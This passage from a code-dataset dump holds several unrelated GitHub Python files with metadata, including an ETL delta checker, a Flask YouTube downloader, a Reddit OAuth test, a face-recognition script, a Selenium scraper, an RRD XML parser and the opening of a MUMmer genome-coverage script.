None:\n m = _re_csv2.match(csv_filename)\n if m is not None:\n return m.group(1), m.group(1).lower().endswith('_list')\n\n\n\n\"\"\"\n# Commnad: etl check cm date date_to\n# date: \n# date_to: \n\"\"\"\ndef check(cusid, tech, date, date_to):\n if type(date) is datetime.date and type(date_to) is datetime.date:\n logger(__name__).info('checking CM delta {} from {}'.format(date, date_to))\n\n conf = ETL.get_computed_config(cusid, tech, __name__)\n dpbase = conf[RESTRICT.DATA_PATH].joinpath('{}/{}/{:%Y%m%d}'.format(cusid, tech, date))\n tfdrpath = dpbase.joinpath('tmp')\n\n cc = Column.get_check_columns(None, cusid, tech, RESTRICT.CORE, __name__)\n df = '{:%Y-%m-%d}'\n preficies = system_key[RESTRICT.CATEGORY]\n excluded_columns = set(['OBJ_GID', 'NBR', 'LAST_MODIFIED', 'LAST_MODIFIER'])\n \"\"\"\n #c = 0\n #ig = 0\n \"\"\"\n ## using key (line['CO_GID'], line['CO_PARENT_GID'], line['CO_DN'])\n for LRC, z1, f1, z2, f2 in Common.extract_info_pair(date, date_to, cusid, tech, _cat, __name__):\n\n tblname, is_list_tblname = _csv_filename_to_tblname(f1)\n if tblname not in cc:\n continue\n outpath = Common.get_output_path('C_LTE_CMDLTE_DELTA_CHECK_{date:%Y%m}'.format(date= date), f1, cusid, tech, date, _cat1, __name__)\n \"\"\"\n #logger(__name__).debug(tblname)\n #logger(__name__).debug(outpath)\n #logger(__name__).debug((LRC, z1, f1, z2, f2))\n #continue\n \"\"\"\n Common.extract_file(z1, f1, tfdrpath, __name__)\n Common.extract_file(z2, f2, tfdrpath, __name__)\n\n curdict = dict()\n tfpath = tfdrpath.joinpath(f2)\n with open(str(tfpath), 'r') as fo:\n reader = csv.DictReader(fo, delimiter= RESTRICT.DELIMITER)\n for _, line in enumerate(reader):\n if is_list_tblname:\n curdict[line['OBJ_GID'], line['NBR']] = line\n else:\n curdict[line['OBJ_GID']] = line\n fo.close()\n tfpath.unlink()\n\n tfpath = tfdrpath.joinpath(f1)\n lines = list()\n with open(str(tfpath), 'r') as fo:\n reader = csv.DictReader(fo, delimiter= RESTRICT.DELIMITER)\n if is_list_tblname:\n e = enumerate([ line for _, line in enumerate(reader)\n if (line['OBJ_GID'], line['NBR']) in curdict ])\n else:\n e = enumerate([ line for _, line in enumerate(reader)\n if line['OBJ_GID'] in curdict ])\n \"\"\"\n #c1 = 0\n #ig1 = 0\n \"\"\"\n for _, line in e:\n t = line\n if is_list_tblname:\n y = curdict[line['OBJ_GID'], line['NBR']]\n else:\n y = curdict[line['OBJ_GID']]\n if t != y:\n \"\"\"\n #c1 = c1 + 1\n \"\"\"\n for _, col in enumerate([ x for x in line.keys() if x not in excluded_columns ]):\n if col in t and col in y and t[col] != y[col]:\n strtdate = df.format(date)\n strydate = df.format(date_to)\n new_line = RESTRICT.DELIMITER.join([\n strtdate,\n strydate,\n strtdate,\n str(preficies[LRC, 'CTP']) + line['OBJ_GID'],\n line['NBR'] if 'NBR' in line else '0',\n col,\n y[col],\n t[col]\n ])\n #logger(__name__).debug(new_line)\n lines.append(new_line)\n \"\"\"\n #else:\n # ig1 = ig1 + 1\n \"\"\"\n fo.close()\n tfpath.unlink()\n \"\"\"\n #logger(__name__).debug(c1)\n #logger(__name__).debug(ig1)\n #c = c + c1\n #ig = ig + ig1\n \"\"\"\n if lines != list():\n Folder.create(outpath.parent, __name__)\n with open(str(outpath), 'w') as fo:\n fo.write('TIME;DateY;DateT;_id;NBR;Field;ParamY;ParamT\\n')\n i = -1\n for i, ln in enumerate(lines):\n fo.write(ln)\n fo.write('\\n')\n fo.close()\n logger(__name__).info('written: \"{}\"'.format(outpath))\n logger(__name__).info('{} line{}'.format(i + 1, '' if i < 1 else 's'))\n del curdict\n \n \"\"\"\n #logger(__name__).debug(c)\n #logger(__name__).debug(ig)\n \"\"\"\n\n\n\ndef _SQL_gen_proc(sqlformat, lines, owner, tblname):\n \"\"\"\n ## sqlformat: 'insert into some_table ({columns}) values {values};'\n ## lines: a list of { column: value }\n \"\"\"\n cs = \"TIME,DateY,DateT,_id,NBR,Field,ParamY,ParamT\"\n vss = set()\n for i, ln in enumerate(lines):\n vs = \"('{TIME}','{DateY}','{DateT}',{_id},{NBR},'{Field}','{ParamY}','{ParamT}')\".format(\n TIME= ln['TIME'],\n DateY= ln['DateY'],\n DateT= ln['DateT'],\n _id= ln['_id'],\n NBR= ln['NBR'],\n Field= ln['Field'],\n ParamY= ln['ParamY'],\n ParamT= ln['ParamT']\n )\n vss.add(vs)\n vss = ','.join(vss)\n #logger(__name__).debug('{} record{} prepared'.format(i + 1, '' if i < 1 else 's'))\n return sqlformat.format(columns= cs, values= vss)\n \n\n\ndef load(cusid, tech, date):\n Common.load(_DDL_proc, _SQL_gen_proc, date, cusid, tech, _cat1, __name__)\n\n\n\ndef _DDL_proc(owner, tblname):\n return 'CREATE TABLE if not exists `{tblname}` ('.format(tblname= tblname) +\\\n \"\"\"\n `TIME` datetime DEFAULT NULL,\n `DateY` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',\n `DateT` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',\n `_id` bigint NOT NULL,\n `NBR` int NOT NULL,\n `Field` varchar(50) NOT NULL DEFAULT '',\n `ParamY` varchar(50) DEFAULT NULL,\n `ParamT` varchar(50) DEFAULT NULL,\n PRIMARY KEY (`DateY`,`DateT`,`_id`,`NBR`,`Field`),\n UNIQUE KEY `unique_key` (`DateY`,`DateT`,`_id`,`NBR`,`Field`),\n KEY `TIME` (`TIME`),\n KEY `_id` (`_id`),\n KEY `Field` (`Field`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\n \"\"\"\n", "repo_name": "YauHsien/some_ETL", "sub_path": "scripts/wic/etl/dc/dc_core.py", "file_name": "dc_core.py", "file_ext": "py", "file_size_in_byte": 7385, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "wic.RESTRICT.CM", "line_number": 13, "usage_type": "attribute"}, {"api_name": "wic.RESTRICT", "line_number": 13, "usage_type": "name"}, {"api_name": "wic.RESTRICT.DC", "line_number": 14, "usage_type": "attribute"}, {"api_name": "wic.RESTRICT", "line_number": 14, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 15, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 36, "usage_type": "attribute"}, {"api_name": "wic.util.logging.logger", "line_number": 37, "usage_type": "call"}, {"api_name": "wic.etl.get_computed_config", "line_number": 39, "usage_type": "call"}, {"api_name": "wic.etl", "line_number": 39, "usage_type": "name"}, {"api_name": "wic.RESTRICT.DATA_PATH", "line_number": 40, "usage_type": "attribute"}, {"api_name": "wic.RESTRICT", "line_number": 40, "usage_type": "name"}, {"api_name": "wic.etl.column.get_check_columns", "line_number": 43, "usage_type": "call"}, {"api_name": "wic.etl.column", "line_number": 43, "usage_type": "name"}, {"api_name": "wic.RESTRICT.CORE", "line_number": 43, "usage_type": "attribute"}, {"api_name": "wic.RESTRICT", "line_number": 43, "usage_type": "name"}, {"api_name": "wic.etl.key.system_key", "line_number": 45, "usage_type": "name"}, {"api_name": "wic.RESTRICT.CATEGORY", "line_number": 45, "usage_type": "attribute"}, {"api_name": "wic.RESTRICT", "line_number": 45, "usage_type": "name"}, {"api_name": "wic.etl.common.extract_info_pair", "line_number": 52, "usage_type": "call"}, {"api_name": "wic.etl.common", "line_number": 52, "usage_type": "name"}, {"api_name": "wic.etl.common.get_output_path", "line_number": 57, "usage_type": "call"}, {"api_name": "wic.etl.common", "line_number": 57, "usage_type": "name"}, {"api_name": "wic.etl.common.extract_file", "line_number": 64, "usage_type": "call"}, {"api_name": "wic.etl.common", "line_number": 64, "usage_type": "name"}, {"api_name": "wic.etl.common.extract_file", "line_number": 65, "usage_type": "call"}, {"api_name": "wic.etl.common", "line_number": 65, "usage_type": "name"}, {"api_name": "csv.DictReader", "line_number": 70, "usage_type": "call"}, {"api_name": "wic.RESTRICT.DELIMITER", "line_number": 70, "usage_type": "attribute"}, {"api_name": "wic.RESTRICT", "line_number": 70, "usage_type": "name"}, {"api_name": "csv.DictReader", "line_number": 82, "usage_type": "call"}, {"api_name": "wic.RESTRICT.DELIMITER", "line_number": 82, "usage_type": "attribute"}, {"api_name": "wic.RESTRICT", "line_number": 82, "usage_type": "name"}, {"api_name": "wic.RESTRICT.DELIMITER.join", "line_number": 107, "usage_type": "call"}, {"api_name": "wic.RESTRICT.DELIMITER", "line_number": 107, "usage_type": "attribute"}, {"api_name": "wic.RESTRICT", "line_number": 107, "usage_type": "name"}, {"api_name": "wic.util.folder.create", "line_number": 132, "usage_type": "call"}, {"api_name": "wic.util.folder", "line_number": 132, "usage_type": "name"}, {"api_name": "wic.util.logging.logger", "line_number": 140, "usage_type": "call"}, {"api_name": "wic.util.logging.logger", "line_number": 141, "usage_type": "call"}, {"api_name": "wic.etl.common.load", "line_number": 177, "usage_type": "call"}, {"api_name": "wic.etl.common", "line_number": 177, "usage_type": "name"}]} {"seq_id": "21120660854", "text": "from flask import Flask, send_file, render_template, request, redirect\nfrom utils.file_manager import FileManager\nfrom utils.converter import Converter\nfrom utils.downloader import Downloader\nimport io\nimport os\n\napp = Flask(__name__)\n\n@app.route('/', methods=['GET'])\ndef index():\n video_id = request.args.get('v')\n if video_id:\n link = f'https://www.youtube.com/watch?v={video_id}'\n return render_template('index.html', link=link)\n return render_template('index.html')\n\n@app.route('/watch', methods=['GET'])\ndef watch():\n video_id = request.args.get('v')\n if video_id:\n return redirect(f'/?v={video_id}')\n return redirect('/')\n\n# Route to download as mp3\n@app.route('/download', methods=['GET'])\ndef download():\n video_id = request.args.get('v')\n if not video_id:\n return \"Error: No URL provided\"\n \n link = f'https://www.youtube.com/watch?v={video_id}'\n\n # Download video\n file_path = Downloader.download_by_link(link)\n if not file_path:\n return \"Error: Video download failed\"\n\n # Convert to mp3\n converted_file_path = Converter.convert_to_mp3(file_path)\n if not converted_file_path:\n FileManager.delete_file(file_path)\n return \"Error: MP3 conversion failed\"\n\n # Save converted file in memory to delete it later\n download_name = os.path.basename(converted_file_path)\n file = io.BytesIO()\n with open(file_path, 'rb') as fo:\n file.write(fo.read())\n file.seek(0)\n\n # Delete downloaded and converted files\n FileManager.delete_file(file_path)\n FileManager.delete_file(converted_file_path)\n\n # Send file for download\n return send_file(file, as_attachment=True, mimetype='audio/mp3', download_name=download_name)\n\nif __name__ == '__main__':\n app.run()\n", "repo_name": "nicosmico/youtube-downloader", "sub_path": "app/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1784, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 12, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 28, "usage_type": "name"}, {"api_name": "utils.downloader.Downloader.download_by_link", "line_number": 35, "usage_type": "call"}, {"api_name": "utils.downloader.Downloader", "line_number": 35, "usage_type": "name"}, {"api_name": "utils.converter.Converter.convert_to_mp3", "line_number": 40, "usage_type": "call"}, {"api_name": "utils.converter.Converter", "line_number": 40, "usage_type": "name"}, {"api_name": "utils.file_manager.FileManager.delete_file", "line_number": 42, "usage_type": "call"}, {"api_name": "utils.file_manager.FileManager", "line_number": 42, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "io.BytesIO", "line_number": 47, "usage_type": "call"}, {"api_name": "utils.file_manager.FileManager.delete_file", "line_number": 53, "usage_type": "call"}, {"api_name": "utils.file_manager.FileManager", "line_number": 53, "usage_type": "name"}, {"api_name": "utils.file_manager.FileManager.delete_file", "line_number": 54, "usage_type": "call"}, {"api_name": "utils.file_manager.FileManager", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.send_file", "line_number": 57, "usage_type": "call"}]} {"seq_id": "8764465899", "text": "import json\n\nfrom social.tests.backends.oauth import OAuth2Test\n\n\nclass RedditOAuth2Test(OAuth2Test):\n backend_path = 'social.backends.reddit.RedditOAuth2'\n user_data_url = 'https://oauth.reddit.com/api/v1/me.json'\n expected_username = 'foobar'\n access_token_body = json.dumps({\n 'name': 'foobar',\n 'created': 1203420772.0,\n 'access_token': 'foobar-token',\n 'created_utc': 1203420772.0,\n 'expires_in': 3600.0,\n 'link_karma': 34,\n 'token_type': 'bearer',\n 'comment_karma': 167,\n 'over_18': True,\n 'is_gold': False,\n 'is_mod': True,\n 'scope': 'identity',\n 'has_verified_email': False,\n 'id': '33bma',\n 'refresh_token': 'foobar-refresh-token'\n })\n user_data_body = json.dumps({\n 'name': 'foobar',\n 'created': 1203420772.0,\n 'created_utc': 1203420772.0,\n 'link_karma': 34,\n 'comment_karma': 167,\n 'over_18': True,\n 'is_gold': False,\n 'is_mod': True,\n 'has_verified_email': False,\n 'id': '33bma'\n })\n refresh_token_body = json.dumps({\n 'access_token': 'foobar-new-token',\n 'token_type': 'bearer',\n 'expires_in': 3600.0,\n 'refresh_token': 'foobar-new-refresh-token',\n 'scope': 'identity'\n })\n\n def test_login(self):\n self.do_login()\n\n def test_partial_pipeline(self):\n self.do_partial_pipeline()\n\n def refresh_token_arguments(self):\n uri = self.strategy.build_absolute_uri('/complete/reddit/')\n return {'redirect_uri': uri}\n\n def test_refresh_token(self):\n user, social = self.do_refresh_token()\n self.assertEqual(social.extra_data['access_token'], 'foobar-new-token')\n", "repo_name": "omab/python-social-auth", "sub_path": "social/tests/backends/test_reddit.py", "file_name": "test_reddit.py", "file_ext": "py", "file_size_in_byte": 1754, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2835, "dataset": "github-code", "pt": "78", "api": [{"api_name": "social.tests.backends.oauth.OAuth2Test", "line_number": 6, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 10, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 27, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 39, "usage_type": "call"}, {"api_name": "social.tests.backends.oauth", "line_number": 58, "usage_type": "name"}, {"api_name": "social.tests.backends.oauth.extra_data", "line_number": 59, "usage_type": "attribute"}, {"api_name": "social.tests.backends.oauth", "line_number": 59, "usage_type": "name"}]} {"seq_id": "18147637883", "text": "# IMPORTACION DE NUESTRAS LIBrerias\r\nimport face_recognition as fr\r\nimport numpy as np\r\nimport cv2\r\n\r\ncamara = cv2.VideoCapture(0)\r\n\r\n#cargara la imagen\r\nnnielpro_imagen = fr.load_image_file(\"niel.jpg\")\r\nniel_codigo_rostro = fr.face_encodings(nnielpro_imagen)[0]\r\n\r\n#decodificaccion del rostro\r\ncodcarared = [\r\n niel_codigo_rostro\r\n]\r\n\r\n#colocacion del nombre\r\nnombre = [\r\n \"nnielpro\"\r\n]\r\n\r\nwhile True:\r\n #toma de datos\r\n ret, frame = camara.read()\r\n #convercion de colores BGR A RGB\r\n rgb_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\r\n\r\n #ECONTRAR DETALLES DEL ROSTRO\r\n face_locations = fr.face_locations(rgb_frame)\r\n face_encodings = fr.face_encodings(rgb_frame, face_locations)\r\n\r\n for (arriba, derecha, abajo, izquierda), face_encodings in zip(face_locations, face_encodings):\r\n noresult = fr.compare_faces(codcarared, face_encodings)\r\n #si no encuntra el rostro\r\n dat = \"ROSTRO NO DETECTADO\"\r\n\r\n #cuando existe un rostro\r\n distancia = fr.face_distance(codcarared, face_encodings)\r\n coincidencia = np.argmin(distancia)\r\n\r\n if noresult[coincidencia]:\r\n nombre2 = nombre[coincidencia]\r\n\r\n #dibujo del cuadro\r\n cv2.rectangle(frame, (izquierda, arriba), (derecha, abajo), (0,255,0), 2)\r\n #creacion de la etiqueta\r\n cv2.rectangle(frame, (izquierda, abajo -35), (derecha, abajo), (0, 255,0), cv2.FILLED)\r\n font = cv2.FONT_HERSHEY_DUPLEX\r\n cv2.putText(frame, nombre2, (izquierda +6, abajo -6), font, 1.0, (255,255,255), 1)\r\n\r\n #nombre a la cqamra wed\r\n cv2.imshow('DETECTOR DE PERSONAS POR ROSTRO', frame)\r\n\r\n #apagar la camara\r\n if cv2.waitKey(1) & 0xFF == ord('a'):\r\n break\r\n\r\n#liberacion de la camara\r\ncamara.release()\r\ncv2.destroyAllWindows()", "repo_name": "NNNIELN/IDENTIFICADOR-DE-ROSTROS", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1796, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.VideoCapture", "line_number": 6, "usage_type": "call"}, {"api_name": "face_recognition.load_image_file", "line_number": 9, "usage_type": "call"}, {"api_name": "face_recognition.face_encodings", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 26, "usage_type": "attribute"}, {"api_name": "face_recognition.face_locations", "line_number": 29, "usage_type": "call"}, {"api_name": "face_recognition.face_encodings", "line_number": 30, "usage_type": "call"}, {"api_name": "face_recognition.compare_faces", "line_number": 33, "usage_type": "call"}, {"api_name": "face_recognition.face_distance", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cv2.FONT_HERSHEY_DUPLEX", "line_number": 48, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 60, "usage_type": "call"}]} {"seq_id": "72000612733", "text": "from selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\n\nchrome_driver_path = \"/Users/Flip/Development/chromedriver\"\n\nser = Service(chrome_driver_path)\ndriver = webdriver.Chrome(service=ser)\n\ndriver.get(\n \"https://www.amazon.com/all-new-fire-tv-stick-4k-with-alexa-voice-remote/dp/B08XVYZ1Y5/ref=sr_1_1?keywords=fire+stick&qid=1663695856&sr=8-1\"\n)\n\nprice = driver.find_element(by=\"class name\", value=\"a-offscreen+span\")\nprint(price.text)\n\ndriver.close() ## Closes active tab\n# driver.quit() ## Closes whole browser\n", "repo_name": "FelipeD97/100DaysofCode", "sub_path": "Day 48 - Selenium Webdriver/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 549, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "selenium.webdriver.chrome.service.Service", "line_number": 6, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 7, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 7, "usage_type": "name"}]} {"seq_id": "16606063446", "text": "import json\n\n\nclass Analysis_Core:\n def __init__(self):\n self.Parsed = {}\n self.rootpoint = None\n self.depth = 0\n self.iterlist = []\n self.value = None\n\n#setiter function must be be called to setup iter function so that depth rootpoint is set\n def setiter(self, rootpoint, depth):\n self.rootpoint = rootpoint\n self.depth = depth - 1\n self.iterlist = list(range(depth))\n self.value = None\n\n#recursive function to go through the nested dict structure and yield when reaching the depth\n def print_nested_dict(self, d, levl):\n if levl == self.depth:\n for key, value in d.items():\n self.iterlist[levl] = key\n yield self.iterlist, value\n else:\n for key, value in d.items():\n self.iterlist[levl] = key\n if isinstance(value, dict) and self.depth > levl:\n for retvalues in self.print_nested_dict(value, levl + 1):\n yield retvalues\n\n#iter function , needs setting of rootpoint and depth so the class can be iterated over\n def __iter__(self):\n for keylist, value in self.print_nested_dict(self.get(self.rootpoint), 0):\n yield keylist, value\n return\n\n def nesting(self, tdt, clist):\n # print(f\"{tdt} {type(clist)}\\n\")\n if type(clist[0]) is dict:\n tdt = clist\n return\n if clist[0] in tdt.keys():\n pass\n else:\n if type(clist[1]) is dict:\n tdt[clist[0]] = clist[1]\n return\n else:\n tdt[clist[0]] = {clist[1]: {}}\n if len(clist) > 2:\n self.nesting(tdt[clist[0]], clist[1:])\n else:\n tdt[clist[0]] = clist[1]\n return\n\n def oneup(self, tdict, uplevel):\n ttdict = {}\n ttdict = {uplevel: tdict}\n return ttdict\n\n def buildstruct(self, clist):\n tdict = clist[-1]\n for i in range(len(clist) - 2, 0, -1):\n tdict = self.oneup(tdict, clist[i])\n return tdict\n\n '''Add function , interface to be called to safely add a leaf to the parsed structure'''\n\n def add(self, clist):\n # print(f\"test....{self.Parsed}\")\n t = self.get(clist[:-1])\n # print(f\"command {t} {clist[:-1]}\")\n if t is not None:\n return\n tlist = []\n tdict = {}\n for i, commands in enumerate(clist):\n tlist.append(commands)\n if self.get(tlist) is None:\n # print(f\"{tlist} {clist[:-1]} is empty could append dict here\")\n tdict = self.buildstruct(clist[i:])\n ttdict = self.get(tlist[:-1])\n ttdict.update({commands: tdict})\n # print(f\"************** {ttdict} {commands} return\")\n return\n else:\n # print(f\"{tlist} {clist[:-1]} is not empty \")\n tdict = self.get(tlist[:-1])\n if commands in tdict.keys():\n # print(f\"{commands} found in keys\")\n pass\n else:\n # print(f\"{commands} not found in keys {clist[:-1]}, it new!\")\n tdict = self.buildstruct(clist[i:])\n ttdict = self.get(tlist[:-1])\n ttdict[commands] = tdict\n\n def modify(self, clist, label, value):\n oldval = self.get(clist)\n oldval[label] = value\n passalong = [*clist, oldval]\n self.add(passalong)\n return\n\n # Function to print out data structure as formatted json\n def printit(self):\n print(\"\\n\" + \"*\" * 80)\n print(\" Raw Data:\")\n print(json.dumps(self.Parsed, indent=4))\n return\n\n def get(self, clist):\n tdt = self.Parsed\n for clis in clist:\n if clis in tdt.keys():\n tdt = tdt[clis]\n else:\n return None\n return tdt\n", "repo_name": "michelpe/SDA_Digger", "sub_path": "AnalysisCore.py", "file_name": "AnalysisCore.py", "file_ext": "py", "file_size_in_byte": 3997, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.dumps", "line_number": 110, "usage_type": "call"}]} {"seq_id": "34468685644", "text": "# coding: utf-8\nimport logging\n\nfrom rrd_xml_parser.exceptions import NotImplementedTypeError, NotImplementedValueError\nfrom rrd_xml_parser.parser import ParserXML\nfrom rrd_xml_parser.parsers.names import ATTRIBUTES\n\nlogger = logging.getLogger(__name__)\n\n\ndef createParser():\n \"\"\"\n Объявление параметров командной строки\n\n :return: объект с определенными параметрами\n :rtype: argparse.ArgumentParser\n \"\"\"\n import argparse\n parser = argparse.ArgumentParser()\n\n parser.add_argument('-i', '--input',\n help='Шаблон пути для поиска файлов',\n type=str,\n required=True\n )\n parser.add_argument('-o', '--output',\n help='Файл для вывода данных',\n type=argparse.FileType(mode='w', encoding='utf-8'),\n default='-'\n )\n parser.add_argument('-f', '--format',\n help='Формат выгружаемых данных',\n type=str,\n default='csv',\n choices=['csv', 'json']\n )\n parser.add_argument('-s', '--split',\n help='Разделять результат по отедельным файлам',\n action='store_true'\n )\n parser.add_argument('--replace',\n help='Имена директорий которые нужно заменить при выгрузке',\n type=str,\n nargs='*')\n parser.add_argument('--includes',\n help='Включаемые типы объектов',\n type=str,\n nargs='*')\n parser.add_argument('--excludes',\n help='Включаемые типы объектов',\n type=str,\n nargs='*')\n return parser\n\n\ndef parse(xml, **kwargs):\n parser = ParserXML()\n try:\n yield from parser.parse(xml, **kwargs)\n except (NotImplementedTypeError, NotImplementedValueError) as e:\n logger.error(str(e))\n finally:\n del parser\n\n\ndef main():\n import csv\n import json\n import os\n from rrd_utils.classes import ITT\n from rrd_utils.utils import rrd_file_iterator_with_origin_name\n\n csv.register_dialect('itt', ITT)\n\n logging.basicConfig(level=logging.DEBUG)\n parser = createParser()\n args = parser.parse_args()\n\n logger.info('Начало обработки документов')\n for filename, filename_origin in rrd_file_iterator_with_origin_name(args.input):\n logger.debug(filename_origin)\n if args.split:\n filename_output = os.path.extsep.join([os.path.splitext(filename_origin)[0], args.format])\n if args.replace and len(args.replace) == 2:\n filename_output = filename_output.replace(args.replace[0], args.replace[1])\n os.makedirs(os.path.dirname(filename_output), exist_ok=True)\n fileobj_output = open(filename_output, mode='w', encoding='utf-8')\n else:\n fileobj_output = args.output\n\n if args.format == 'csv':\n writer = csv.DictWriter(fileobj_output, dialect='itt', fieldnames=ATTRIBUTES)\n writer.writeheader()\n\n for feature in parse(filename, includes=args.includes, excludes=args.excludes):\n try:\n writer.writerow({key: getattr(feature, key) for key in ATTRIBUTES if getattr(feature, key, None)})\n except Exception as e:\n logger.exception(e)\n\n else:\n for feature in parse(filename, includes=args.includes, excludes=args.excludes):\n try:\n json.dump(feature, fileobj_output, ensure_ascii=False,\n default=lambda x: {key: getattr(x, key, None)\n for key in dir(x)\n if not key.startswith('_') and not callable(getattr(x, key))})\n fileobj_output.write('\\n')\n except Exception as e:\n logger.exception(e)\n\n logger.info('Завершение обработки документов')\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.DEBUG)\n main()\n", "repo_name": "rrdocru/rrd-xml-parser", "sub_path": "rrd_xml_parser/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 4585, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 19, "usage_type": "call"}, {"api_name": "argparse.FileType", "line_number": 28, "usage_type": "call"}, {"api_name": "rrd_xml_parser.parser.ParserXML", "line_number": 57, "usage_type": "call"}, {"api_name": "rrd_xml_parser.exceptions.NotImplementedTypeError", "line_number": 60, "usage_type": "name"}, {"api_name": "rrd_xml_parser.exceptions.NotImplementedValueError", "line_number": 60, "usage_type": "name"}, {"api_name": "csv.register_dialect", "line_number": 73, "usage_type": "call"}, {"api_name": "rrd_utils.classes.ITT", "line_number": 73, "usage_type": "argument"}, {"api_name": "logging.basicConfig", "line_number": 75, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 75, "usage_type": "attribute"}, {"api_name": "rrd_utils.utils.rrd_file_iterator_with_origin_name", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path.extsep.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 83, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "csv.DictWriter", "line_number": 92, "usage_type": "call"}, {"api_name": "rrd_xml_parser.parsers.names.ATTRIBUTES", "line_number": 92, "usage_type": "name"}, {"api_name": "rrd_xml_parser.parsers.names.ATTRIBUTES", "line_number": 97, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 104, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 116, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 116, "usage_type": "attribute"}]} {"seq_id": "34198897409", "text": "#!/usr/bin/env python\n# -*- coding: utf8 -*-\n#----------------------------------------------------------------------------\n# Created By : vloegler\n# Created Date: 2022/09/15\n# version ='2.0'\n# ---------------------------------------------------------------------------\n'''\nThis script check if all chromosomes of a reference are covered by\na draft assembly. \nIt uses the nucmer (--maxmatch) and show-coords MUMmer4's functions\n\nIt takes as input :\n\t-r --ref: the reference genome assembly (multi fasta)\n\t-d --draft: draft genome assemblies (multi fasta, several allowed)\n\t-o --output: name of output tsv file\n\t-p --percentCovered: Percentage of each chromosome that have to be covered\n\t-m --mummerPath: Path to mummer function, if not in path\n\t-t --threads: Number of threads for nucmer\n\t-i --detailledInfo: Display the coverage of each chromosome of the reference\n\nOutput will be:\nAssembly\tNbChrCovered\nDraft1\t\t16\nDraft2\t\t15\nDraft3\t\t16\n'''\n# ---------------------------------------------------------------------------\nimport os\nimport sys\nimport argparse\nimport time\nfrom datetime import datetime\nfrom random import randint\nfrom Tools import *\n# ---------------------------------------------------------------------------\n# Definitions\n\ndef rank_simple(vector):\n\treturn sorted(range(len(vector)), key=vector.__getitem__)\n\ndef decreasing_rank_simple(vector):\n\treturn sorted(range(len(vector)), key=vector.__getitem__)[::-1]\n\ndef getShowCoords(refPath, draftPath, prefix, mummerPath, threads):\n\t# Run nucmer\n\tnucmerShellCommand=mummerPath+\"nucmer -t \"+str(threads)+\" --maxmatch --prefix \"+prefix+\" \"+refPath+\" \"+draftPath\n\tos.system(nucmerShellCommand)\n\t# Run show 